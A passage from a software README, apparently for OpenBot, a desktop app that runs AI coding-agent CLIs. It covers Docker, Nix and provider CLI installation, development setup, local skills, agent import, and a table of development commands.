https://raw.githubusercontent.com/nightly-labs/openbot/main/docker/seccomp.json\ndocker run -d --name openbot --restart unless-stopped \\\n  --security-opt seccomp=seccomp.json --security-opt no-new-privileges:true \\\n  --shm-size 1g --stop-timeout 60 -v openbot-data:/data \\\n  ghcr.io/nightly-labs/openbot:latest\ndocker exec -it openbot openbot login\n</code></pre> \n<p>See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/docker.md\">Docker</a> for Compose, the data volume, upgrades and the security limits. For Amazon ECS, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/aws-ecs.md\">AWS ECS</a>.</p> \n<h3>Nix</h3> \n<p>The flake installs the desktop app from the latest release on x64 or arm64 Linux and on Apple silicon:</p> \n<pre><code class=\"language-bash\">nix run github:nightly-labs/openbot\nnix profile install github:nightly-labs/openbot\n</code></pre> \n<p><code>overlays.default</code> adds <code>pkgs.openbot</code>. OpenBot is not free software, so your nixpkgs must allow it, for example with <code>nixpkgs.config.allowUnfreePredicate = pkg: lib.getName pkg == \"openbot\";</code>. Nix installs OpenBot updates. OpenBot does not update itself from the Nix store. On Linux, the Nix package does not include the remote desktop runtime, because nixpkgs does not have a library that it needs.</p> \n<div class=\"markdown-alert markdown-alert-important\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-report mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Important</p>\n <p>Windows releases are signed by <code>SYNTHETIFY LABS SP\u00d3\u0141KA Z OGRANICZON\u0104 ODPOWIEDZIALNO\u015aCI\u0104</code>. Older releases are not code-signed. SmartScreen can still warn about a new release. Check the release checksum or GitHub build attestation before you run the installer.</p> \n</div> \n<h3>Agent setup</h3> \n<p>OpenBot can download a supported provider runtime when you select <code>Download</code> in onboarding, Settings, agent setup, or the model picker. OpenBot prefers its managed CLI. Explicit <code>OPENBOT_*_PATH</code> overrides take precedence; a compatible system CLI is used when no managed copy is available. OpenBot checks for a newer provider CLI release at startup and every hour, and <code>Check for updates</code> in a provider's actions menu checks at once. Updates install the latest upstream release without changing the user\u2019s system CLI; the version in <code>native-runtime.lock.json</code> is only the first-install fallback.</p> \n<p>You can also install a CLI yourself.</p> \n<p>Codex CLI on macOS:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://chatgpt.com/codex/install.sh | sh\n</code></pre> \n<p>Claude CLI on macOS:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://claude.ai/install.sh | bash\n</code></pre> \n<p>Install Grok CLI following the <a href=\"https://docs.x.ai/build/overview\">Grok Build documentation</a>, then authenticate with <code>grok login</code> or set <code>XAI_API_KEY</code> in the environment used to launch OpenBot.</p> \n<p>OpenBot downloads and pins the OpenCode CLI, like Codex, Claude, and Grok. OpenCode's free models need no account and no sign-in: select OpenCode, click Connect, and OpenBot reads the models that the CLI advertises. To use the paid OpenCode Go models, click Sign in on the OpenCode row and paste a Go key from <a href=\"https://opencode.ai/auth\">opencode.ai/auth</a>. OpenBot encrypts the key on this computer and gives it only to the local CLI. OpenBot supports OpenCode Go only: the Zen models a Go key does not buy stay out of the picker. Models with the Free label in the model picker need no sign-in. Other models need a sign-in with their provider: a Go key for the <code>opencode-go/</code> models, or <code>opencode auth login</code> in a terminal for OpenCode Zen and third-party providers. Without it, the turn fails with an error that names the provider. If you installed OpenCode yourself, OpenBot keeps that install and offers no download. Set <code>OPENBOT_OPENCODE_PATH</code> to select an executable outside your shell's search path. Remote OpenCode agents require Team API v4; older clients do not show these agents.</p> \n<p>Gemini uses a Google AI Pro or Ultra plan. OpenBot downloads Google's Antigravity ACP server on this computer when you select Download on the Gemini row, because Google's license does not let OpenBot include it. Sign in opens Google's sign-in page in your browser. OpenBot never uses an <code>antigravity</code> command on your search path, because the Antigravity editor installs a command with that name. Set <code>OPENBOT_ANTIGRAVITY_PATH</code> to select a server executable yourself. Put it in a <code>bin/</code> folder, and put an <code>antigravity-package.json</code> file with its <code>version</code> in the folder above <code>bin/</code>. Keep <code>localharness_external</code> beside the server. When that path is set, OpenBot uses only it. Connect remains available in the host's local Settings &gt; Providers screen. Remote settings cannot perform Google sign-in; use a browser on the host. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/architecture/providers.md#gemini\">Gemini setup and download recovery</a> for the required layout, the reported IPv6 download failure, and checks that do not change host networking.</p> \n<p>Cursor uses a Cursor plan or a Cursor API key. OpenBot downloads and pins the Cursor CLI (<code>cursor-agent</code>) when you select Download on the Cursor row in More providers, and starts it with <code>cursor-agent acp</code>. Sign in opens Cursor's sign-in page in your browser. You can also set <code>CURSOR_API_KEY</code> in the environment used to launch OpenBot. If you installed <code>cursor-agent</code> yourself, OpenBot uses it until a download exists. OpenBot never uses the <code>cursor</code> command, which starts the Cursor editor. Set <code>OPENBOT_CURSOR_PATH</code> to select an executable yourself. Cursor agents stay on this computer: team members do not see them.</p> \n<p>Cline uses a Cline account, which has free models with limits for each model. The provider of a free model can use your prompts to train models. OpenBot downloads and pins the Cline CLI (<code>cline</code>) when you select Download on the Cline row in More providers, and starts it with <code>cline --acp</code>. Sign in opens Cline's sign-in page in your browser. You can also set <code>CLINE_API_KEY</code> in the environment used to launch OpenBot. If you installed <code>cline</code> 3.0.68 or newer yourself, OpenBot uses it until a download exists. Set <code>OPENBOT_CLINE_PATH</code> to select an executable yourself. Cline agents stay on this computer: team members do not see them.</p> \n<p>On Windows, install the native CLI and make sure <code>codex</code>, <code>claude</code>, or <code>grok</code> is available in PowerShell. Claude Code also requires Git for Windows. Then authenticate the installed CLI and restart OpenBot.</p> \n<p>Bun and Node.js are not required when using an installed release. Optional Computer Use works on macOS, Windows and Linux, and the release carries the driver, so there is nothing to install. Only macOS asks for a permission for it: Screen Recording and Accessibility.</p> \n<p>OpenBot uses the existing local CLI login. It does not copy provider credentials. Grok's <code>XAI_API_KEY</code> and per-session MCP bearer tokens are never persisted or logged. Each provider's terms apply to your sign-in. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/provider-terms.md\">provider terms</a> for Claude subscriptions.</p> \n<p>For setup problems, data reset, and uninstall instructions, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/TROUBLESHOOTING.md\">Troubleshooting</a>. OpenBot's data and network behavior is documented in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/PRIVACY.md\">Privacy</a>.</p> \n<h2>Development</h2> \n<p>Development requires stable <a href=\"https://bun.sh/\">Bun</a> 1.4.2, Node.js 24 (the version in <code>.nvmrc</code>, matching the Node that Electron bundles - run <code>nvm use</code>), and at least one supported agent CLI.</p> \n<p>Install the exact Bun version on macOS or Linux:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://bun.com/install | bash -s \"bun-v1.4.2\"\n</code></pre> \n<p>Install it on Windows in PowerShell:</p> \n<pre><code class=\"language-powershell\">iex \"&amp; {$(irm https://bun.com/install.ps1)} -Version 1.4.2\"\n</code></pre> \n<pre><code class=\"language-bash\">git clone https://github.com/nightly-labs/openbot.git\ncd openbot\nbun install --frozen-lockfile\nbun run codex:doctor\nbun run dev\n</code></pre> \n<p><code>codex:doctor</code> checks the CLI version, App Server handshake, and ChatGPT login without starting a model turn. <code>bun run cua-driver:doctor</code> reports the Computer Use driver separately.</p> \n<p>In a new git worktree, run <code>bun run dev:bootstrap</code>. It copies the files that <code>.worktreeinclude</code> lists from the main checkout when they are missing, installs dependencies, migrates the local API, and seeds the isolated profile. Set it as the worktree setup command of your agent harness.</p> \n<p>On macOS, a worktree's <code>node_modules</code> uses almost no new disk space. Bun clones packages from its cache, and the root <code>postinstall</code> clones Electron from <code>~/Library/Caches/OpenBot/electron-dist</code>. <code>du</code> still shows the full size of each clone. The first install of an Electron version extracts it once and saves it there. Delete the directory to clear the cache; an entry that nobody used for 30 days is removed by the next save.</p> \n<p>To reset only the local development state, quit the dev app and test client, then run <code>bun run dev:reset</code>. The command deletes the app and test-client development profiles plus the legacy host profile, including <code>openbot.db</code> and its WAL files. It prints each profile before it deletes it, and it deletes nothing while a dev app has one of them open. It does not change the production profile, the worktree profiles that <code>bun run dev</code> opens (<code>OpenBot Dev wt-&lt;hash&gt;</code>), agent workspaces, <code>~/.codex</code>, or <code>~/.claude</code>.</p> \n<p><code>bun run dev</code> seeds a development profile it creates, so a first start already shows this data. <code>bun run dev:seed</code> replaces the shared <code>OpenBot Dev</code> profile. To use it, quit the dev app, then run:</p> \n<pre><code class=\"language-bash\">bun run dev:seed\nbun run dev --shared\n</code></pre> \n<p>The seeded agents run on <code>opencode-go/muse-spark-1.3-contributor</code> at medium effort while this computer's OpenCode CLI lists it, and on <code>gpt-6-luna</code> at low effort otherwise. A dev build starts a new agent on the same pair, so a seeded agent and one you create agree; a packaged build always uses <code>gpt-6-luna</code>.</p> \n<p>The seed adds agents, rich conversations, managed files and references, reactions, completed agent exchanges, two channels with a delegated task run, channel memories and routines, and local team chat data. It dates every record backwards from the run, so the transcripts read Today and Yesterday. It does not add live queue items, open routine runs, or queued channel tasks, so it starts no model turn. Use <code>bun run dev:seed --dry-run</code> to inspect the target and fixture counts without changing files. <code>dev:seed</code>, <code>dev:reset</code>, <code>dev:verify</code>, <code>dev:bench</code>, and <code>dev:automation</code> print their usage for <code>--help</code> and change nothing. They stop with exit code 2 on an option that they do not know.</p> \n<h3>Marketplace launch catalog</h3> \n<p>Seed the approved OpenBot team catalog locally with <code>bun run marketplace:seed:local</code>, then start or reuse <code>bun run dev</code>. Search <strong>OpenBot</strong> in Marketplace to review its Skills and Agents. This seed adds catalog records without resetting app data.</p> \n<p><code>bun run marketplace:build</code> creates the launch bundles. <code>bun run marketplace:publish:production</code> is a dry run; production writes require explicit flags and admin credentials. See the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/marketplace/production-catalog/README.md\">catalog and publication guide</a>.</p> \n<p>Skill authors can add optional <code>example-prompt</code> text to the YAML frontmatter in <code>SKILL.md</code>:</p> \n<pre><code class=\"language-yaml\">example-prompt: Turn the latest commits into release notes.\n</code></pre> \n<p>The skill preview shows this text. <strong>Try skill</strong> appends it and a skill reference to the selected agent's draft. It does not send the message. The field accepts up to 1,000 characters after trimming. Missing or invalid values use a default example. No new package format or database migration is required.</p> \n<h2>Local skills</h2> \n<p>Ask an agent to create a skill from a reusable workflow. It prepares a folder with <code>SKILL.md</code> and calls <code>create_skill</code>. The skill is saved in a shared local library and enabled for that agent. Other agents can add it through <strong>Settings \u2192 Skills \u2192 Local skills</strong>.</p> \n<p>Agents can use <code>list_local_skills</code>, <code>read_local_skill</code>, <code>revise_skill</code>, and <code>install_local_skill</code>. Revisions require the version read by the agent and retain previous versions. Updating a library skill does not update installed copies: use the Update chip or install an exact revision. Modified installed files are protected. To publish a local skill, submit its folder separately through the marketplace.</p> \n<p>Optional scripts, references, and assets follow the Codex skill folder structure. A PNG at <code>assets/icon.png</code> supplies the local preview logo. The built-in <code>openbot-skill-creator</code> guide explains the format and validation limits. Registration does not run scripts.</p> \n<h2>Import agents from Grok Bot</h2> \n<p>Open <strong>Server settings \u2192 Import</strong> on this computer, or on a joined server in the desktop app or the browser client. Every member of a server can import, not only an owner or admin. Add the <a href=\"https://x.ai/bot/gI0XdhhDYPJeyQaqQBC0O\">OpenBot export agent</a> to Grok Bot and say \"Export my agents for OpenBot\". It saves one <code>.zip</code> file to Downloads. Choose that file in OpenBot, select the agents, and import them.</p> \n<p>The import adds each agent's name, instructions, avatar, skills, routines, and memories. Workspace files are copied to <code>imported/</code> in the agent's workspace if you included them. Chat history is not copied: the export agent keeps the important facts as memories. For this computer, the file is read here and is not uploaded. For a joined server, the file (at most 100 MB) goes to the computer that runs that server through the encrypted host connection. A member's import uses a skill that the server already has instead of changing it. The export skill and its format are in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/resources/agent-import/grok-bot/SKILL.md\"><code>resources/agent-import/grok-bot/SKILL.md</code></a>.</p> \n<h2>Commands</h2> \n<p>The browser client is served at <code>/app</code> by the public web app. For local development, run <code>bun run dev:api</code> and open <code>/app</code> on the API URL printed by the supervisor. Use <code>bun run dev</code> when a desktop host is also needed. Use <code>bun run storybook</code> and <strong>Web \u2192 Workspace \u2192 Connected</strong> for shared UI test data. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/web-client.md\">web client delivery</a> for the release gate and focused checks.</p> \n<table> \n <thead> \n  <tr> \n   <th>Command</th> \n   <th>Purpose</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>bun run dev</code></td> \n   <td>Start the local Auth API, Signal service, and Electron client with renderer HMR on its app profile. Ports are allocated through the dev registry, so a sibling worktree never takes one this stack won. It refuses a second stack in the same worktree unless you pass <code>--force</code>. Each worktree opens a profile of its own, keyed to its path; <code>--shared</code> opens the shared <code>OpenBot Dev</code> profile instead. <code>--isolated</code> is still accepted and changes nothing. A profile that you used before stays on disk unchanged. <code>--hosting=test</code> signs the app in to the <code>test</code> account Worker, on a profile that all worktrees share, so that a hosted server is a real VM; see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/hosted-servers.md#real-servers-from-a-development-build\">docs/hosted-servers.md</a>. A profile that does not exist yet is seeded with the showcase data of <code>bun run dev:seed</code> before the client starts, so a first start never opens an empty app; an existing profile is left as it is. An isolated profile still shares the computer's provider CLI store, so it does not download the pinned CLIs again. Before it starts, it runs <code>bun install --frozen-lockfile</code> and <code>bun run api:migrate:local</code> only when <code>bun.lock</code>, a workspace <code>package.json</code>, a patch, or a migration changed since their last successful run. The stamps are in <code>node_modules</code> and <code>apps/auth-api/.wrangler/state/v3/d1</code>, and each <code>bun install</code> writes the install stamp too; delete one to run its step again.</td> \n  </tr> \n  <tr> \n   <td><code>bun run preview</code></td> \n   <td>Preview the built Electron client with the green preview icon.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:go</code></td> \n   <td>Start the mobile app in Expo Go and clear the Metro cache.</td> \n  </tr> \n  <tr> \n   <td><code>bun mobile:ios</code></td> \n   <td>Build and launch the iOS simulator app without RocketSim.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:mobile</code></td> \n   <td>Start or reuse this worktree's <code>bun run dev</code> stack, build and launch the iOS simulator app, and pair them without a QR scan. The desktop issues a Mobile Connect ticket over CDP, and <code>simctl openurl</code> opens the link in the development build, which accepts only loopback or private-network account services. Other arguments go to <code>bun mobile:ios</code>. <code>--pair-only</code> pairs an app that already runs; <code>--simulator=&lt;udid&gt;</code> chooses one of several booted simulators. It stops when the Metro port is already in use, because another worktree's Metro would serve the same app id; pass <code>--port=&lt;n&gt;</code> then.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:ios:build:local</code></td> \n   <td>Build a production iOS <code>.ipa</code> locally for upload with Transporter. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#local-testflight-build\">TestFlight setup</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:ios:release:testflight</code></td> \n   <td>Start the GitHub Actions iOS build from <code>main</code> and upload to TestFlight. Requires authenticated GitHub CLI. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#github-actions-testflight-release\">iOS release setup</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun mobile:ios:rocketsim</code></td> \n   <td>Start RocketSim and build and launch the iOS simulator app with RocketSim Connect. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#development\">mobile setup</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:go:tunnel</code></td> \n   <td>Start the mobile app in Expo Go through a Metro tunnel and clear the cache. The OpenBot API and Signal still need their own reachable addresses.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:api</code></td> \n   <td>Start the TanStack Start API and its local D1 database on <code>127.0.0.1:3100</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:apns-key -- &lt;AuthKey_ID.p8&gt; [KEY_ID]</code></td> \n   <td>Save an Apple Push Notification service key in ignored development state, so the local Auth API sends iPhone Live Activity updates. The local server forwards them to Apple over HTTP/2. Restart <code>bun run dev</code> after it.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:start</code></td> \n   <td>Build and preview the Cloudflare Worker locally.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:images</code></td> \n   <td>Draw the article artwork into <code>apps/auth-api/content-art/</code> after you add an article or change a title. Commit the result; the site build fails until it matches. Needs Electron and a GPU, so run it on your own machine.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:migrate:local</code></td> \n   <td>Apply D1 migrations to the local development database.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:migrate:remote</code></td> \n   <td>Apply D1 migrations to the configured remote database.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:deploy</code></td> \n   <td>Build and deploy the account API to Cloudflare Workers. It sets the Stripe, boat, claim and OpenPanel secret sets that are in the production environment. A set that is not there keeps the value that the Worker has.</td> \n  </tr> \n  <tr> \n   <td><code>bun run api:stripe:bootstrap</code></td> \n   <td>Create or update the Stripe plan catalog and the Customer Portal settings from <code>STRIPE_SECRET_KEY</code> in the encrypted <code>apps/auth-api/.env.dev</code> (shell values replace it). It refuses a live key unless you add <code>--live</code>. For local webhooks, run <code>stripe listen --forward-to localhost:&lt;API port&gt;/v1/stripe/webhook</code> and set the signing secret in <code>STRIPE_WEBHOOK_SECRET</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/architecture/servers.md#billing\">Billing</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run hosting:setup --target=production|test</code></td> \n   <td>Set up the Stripe catalog, the Customer Portal, and the Stripe and boat webhooks of one account server, and store the webhook signing secrets: production in the <code>cloudflare-production</code> GitHub Environment, test in the encrypted <code>apps/auth-api/.env.dev</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/hosted-servers.md#production\">hosted servers</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run hosting:template</code></td> \n   <td>Build the boat named snapshot that new hosted servers start from. Needs <code>BOAT_TEMPLATE_API_KEY</code> and <code>--version</code>, <code>--appimage-url</code>, <code>--appimage-sha256</code> and <code>--auth-api-url</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/hosted-servers.md\">hosted servers</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run status:build</code></td> \n   <td>Build the public status page in <code>apps/status/dist</code>. The <code>status-page</code> workflow adds <code>status.json</code> and <code>feed.xml</code> and publishes it to GitHub Pages at <code>status.openbot.run</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run status:smoke</code></td> \n   <td>Run the status page smoke test: update runs against a local fake service, the status webhooks against a local receiver, one read-only run against the live checks, and the built page in Chrome. It writes <code>.openbot-build/status-page/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:up</code></td> \n   <td>Build and start the self-hosted Signal, coturn, and ACME stack.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:check</code></td> \n   <td>Check the Remote API and both Docker Compose configurations.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:check:compose</code></td> \n   <td>Validate both Docker Compose configurations alone, without a running daemon.</td> \n  </tr> \n  <tr> \n   <td><code>bun run remote:update</code></td> \n   <td>Update Signal, then drain and update the single coturn instance.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:all</code></td> \n   <td>Start the Auth API, Signal service, and single local Electron instance.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:slack</code></td> \n   <td>Start the same stack as <code>bun run dev</code>, with two <code>cloudflared</code> quick tunnels, one to Signal and one to the local account API, so that Slack can send the development Slack app's events and install return to the agents on this computer. It reads <code>OPENBOT_DEV_SLACK_SIGNING_SECRET</code> from the ignored <code>.env.slack-dev</code>, and needs <code>SLACK_ROUTE_PRIVATE_JWK</code> and <code>SLACK_ROUTE_KEY_ID</code> in the shell environment. Takes the same options as <code>bun run dev</code>, such as <code>--shared</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/messaging.md#test-slack-locally\">docs/messaging.md</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:test-client</code></td> \n   <td>Start the Auth API, Signal service, local instance, and an isolated second client for team testing.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:seed</code></td> \n   <td>Replace only the app development profile with durable showcase data. <code>--if-missing</code> keeps an existing profile, which is how <code>bun run dev</code> seeds a first start. <code>--scale=agents:N,messages:M,channels:C,channelMessages:K,attachments:A</code> adds generated agents, chat history, channel history and large images to the showcase data, for memory and CPU measurements.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:reset</code></td> \n   <td>Delete the local app, test-client, and legacy host development state. It refuses while a dev app has one of these profiles open.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:status</code></td> \n   <td>Print, as JSON, every dev stack and dev app instance live on this machine: services, ports, pids, which of them belong to this worktree, and which are orphaned - a supervisor that is gone with its children still holding the ports. Each recorded process carries the state a stop command acts on: <code>live</code>, <code>gone</code> with <code>groupLive</code> for a survivor of a dead leader, and <code>unverified</code> for a pid this machine cannot date. <code>registryDirectory</code> is the directory it read: <code>~/Library/Caches/OpenBot/dev</code> on macOS, <code>$XDG_RUNTIME_DIR/openbot-dev</code> (else <code>~/.cache/openbot/dev</code>) on Linux, <code>%LOCALAPPDATA%\\OpenBot\\openbot-dev-instances</code> on Windows, or <code>OPENBOT_DEV_REGISTRY_DIR</code> when set. It does not depend on <code>TMPDIR</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:verify</code></td> \n   <td>Print a stable JSON verification plan for this worktree: <code>ready</code>/<code>reasons</code> for safe checks, setup state, changed files and affected surfaces, nearby tests, runtime state, <code>qa.required</code>/<code>qa.ready</code>/<code>qa.reasons</code>, the renderer QA loop, safe <code>runnableCommands</code>, and all suggested <code>commands</code>. Add <code>--run</code> to execute only the safe non-mutating checks in the plan. Renderer QA follows <code>snapshot \u2192 action with --wait-for \u2192 snapshot \u2192 screenshot</code> when appearance matters.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:stop</code></td> \n   <td>Stop this worktree's dev stack, children included, using the pids in the registry rather than a process-name pattern. It signals only a pid whose start time still matches the record, so a recycled pid is never sent SIGTERM; anything it cannot confirm is reported, left running and kept in the registry, and the command exits non-zero. <code>--pid=&lt;supervisor pid&gt;</code> stops one other stack, <code>--all</code> stops every stack on the machine.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:forget</code></td> \n   <td>Drop this worktree's stack record without signalling anything, for the one case <code>dev:stop</code> refuses to resolve on its own. It is also the only command that reads a dead record: nothing else deletes one, because a reader that removes what it judged can remove a record the supervisor rewrote in between. Takes the same <code>--pid=</code> and <code>--all</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run storybook</code></td> \n   <td>Start Storybook on a port allocated through the same registry, so two worktrees never announce one port. <code>OPENBOT_STORYBOOK_PORT</code> moves where the search starts; <code>--port</code> is refused.</td> \n  </tr> \n  <tr> \n   <td><code>bun run build-storybook</code></td> \n   <td>Build static Storybook. CI sets <code>OPENBOT_STORYBOOK_CHECK=true</code> to skip automatic prop documentation during its build check.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:automation</code></td> \n   <td>Drive the running dev app over CDP: <code>instances</code>, <code>pages</code>, <code>snapshot</code>, <code>screenshot</code>, <code>click</code>/<code>type</code> by accessible role. <code>--page=&lt;target-id|url-substring&gt;</code> aims at any window, including embedded browser views; <code>--wait-for=&lt;role&gt;,&lt;name&gt;</code> settles on an accessible target instead of polling; mutations need <code>--allow-mutations</code> and a named instance (this worktree's record, <code>--instance=&lt;id&gt;</code> or <code>--port=</code>).</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:cpu</code></td> \n   <td>Measure idle CPU on the running dev app, per process kind and per page. <code>--duration=&lt;ms&gt;</code> (default 60000), <code>--interval=&lt;ms&gt;</code> (default 5000), <code>--label=&lt;name&gt;</code>, <code>--out=&lt;name&gt;.json</code> (always under <code>.openbot-build/dev-automation/cpu/</code>, and refused if it would leave that directory or pass through a symbolic link) and <code>--compare=&lt;file&gt;</code> for a before/after delta. Read-only. Take a baseline before a change and a second run after it: only the difference between two runs on the same machine is a result, because a dev build carries the Vite server and the source maps as well.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:memory</code></td> \n   <td>Measure the running dev app's memory once: resident memory per process kind (main, renderer, GPU, provider CLIs and their MCP servers), with the dev tooling kept out of the app total, plus JS heap and DOM counters per page. <code>--label=&lt;name&gt;</code>, <code>--out=&lt;name&gt;.json</code> (always under <code>.openbot-build/dev-automation/memory/</code>) and <code>--heap-snapshot=&lt;target-id|url-substring&gt;</code> to also write a V8 heap snapshot of one page to that directory. Read-only.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dev:bench</code></td> \n   <td>Run repeatable RAM and CPU scenarios on the built app (<code>bun run build</code> first). Each run seeds a bench profile of its own, starts the built app, samples the process tree every second (resident memory, macOS physical footprint and CPU per process kind, provider memory per CLI) with the main-process and page heaps, drives the scenario, and reads a settled state after garbage collection. <code>--scenario=&lt;id|prefix|all&gt;</code> (required; without it the command lists the scenarios), <code>--runs=&lt;n&gt;</code> (default 3; the report shows the median and range), <code>--label=&lt;name&gt;</code>, <code>--compare=&lt;report.json&gt;</code>, <code>--cpu-profile</code> (records the app window's JavaScript for 15 s after the first run settles, as a <code>.cpuprofile</code> for DevTools), <code>--frames</code> (counts frames slower than 17 ms and 50 ms while the scenario runs; the loop keeps the renderer drawing, so CPU readings rise) and <code>--call-counts</code> (V8 call counts per function while the scenario runs, top 25 in a <code>-call-counts.json</code> file; slows JavaScript). Every run also reports the startup marks (<code>startup.*</code>, ms) and the app window's layout and style recalculation counts, script and task time, and long tasks (<code>render.*</code>). Reports go to <code>.openbot-build/dev-automation/bench/</code>. Turn scenarios (<code>s5</code> to <code>s9</code>) use the real claude, opencode and grok CLIs and spend model quota. It never touches a dev instance or your own profile, and <code>bun run dev:stop</code> stops an app a failed run left behind.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check</code></td> \n   <td>Run Biome, both typechecks, offline tests, the browser smoke test, and the production build.</td> \n  </tr> \n  <tr> \n   <td><code>bun run typecheck</code></td> \n   <td>Check all 15 projects in parallel with a separate incremental cache for each project in this worktree.</td> \n  </tr> \n  <tr> \n   <td><code>bun run knip:check</code></td> \n   <td>Find unused files, exports, and types, unused or unlisted dependencies, and unresolved imports in all workspaces. CI runs it.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check:ui</code></td> \n   <td>Check the renderer against the design system: shared primitives, Kobalte and Lucide confined to <code>@openbot/ui</code>, palette tokens instead of colour, size, radius and transition literals. Checks renderer and shared UI source.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check:assets</code></td> \n   <td>Fail when a tracked image or video file is outside the product asset directories. Pull request screenshots go in the pull request body.</td> \n  </tr> \n  <tr> \n   <td><code>bun run check:doc-links</code></td> \n   <td>Fail when a link in a tracked Markdown file names a Markdown file that does not exist, or an anchor that the file does not have.</td> \n  </tr> \n  <tr> \n   <td><code>bun run verify:preload</code></td> \n   <td>After <code>bun run build</code>, run the built preload with a fake Electron. Fail when it loads a module that a sandboxed preload cannot load, uses <code>import()</code>, or exposes a method that <code>IPC_ENDPOINTS</code> does not name.</td> \n  </tr> \n  <tr> \n   <td><code>bun run types:ratchet</code></td> \n   <td>Hold each TypeScript option in <code>tools/typescript/type-baseline.json</code> to its error count per file in every project that extends <code>tsconfig.base.json</code>. A new error fails. Add <code>--write</code> after a fix to lower the baseline, or <code>--add=&lt;option&gt;</code> to start an option at its current counts.</td> \n  </tr> \n  <tr> \n   <td><code>bun run i18n:check</code></td> \n   <td>Check the translation catalogs: key prefixes, placeholders, plural forms, ambiguous source text, and unused keys. <code>--fix</code> puts translated keys in the English order. <code>--json</code> writes <code>.openbot-build/i18n-report.json</code>. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/i18n.md\">docs/i18n.md</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:backend</code></td> \n   <td>Run backend tests only.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:changed</code></td> \n   <td>Run, on one worker, only the desktop and mobile test files that import a file changed since <code>origin/main</code>, including staged, unstaged and untracked files. It stops with an error when <code>origin/main</code> is missing. A change to a vitest config, a setup file or <code>package.json</code> selects no test. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/development-checks.md#focused-tests\">docs/development-checks.md</a>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:related -- &lt;source&gt;...</code></td> \n   <td>Run, on one worker, only the test files that import the named source files.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:browser-agent-session</code></td> \n   <td>Check that an agent with its own browser session, and the agents of a named browser profile, keep their cookies and storage apart, across popups, a restart, a deleted 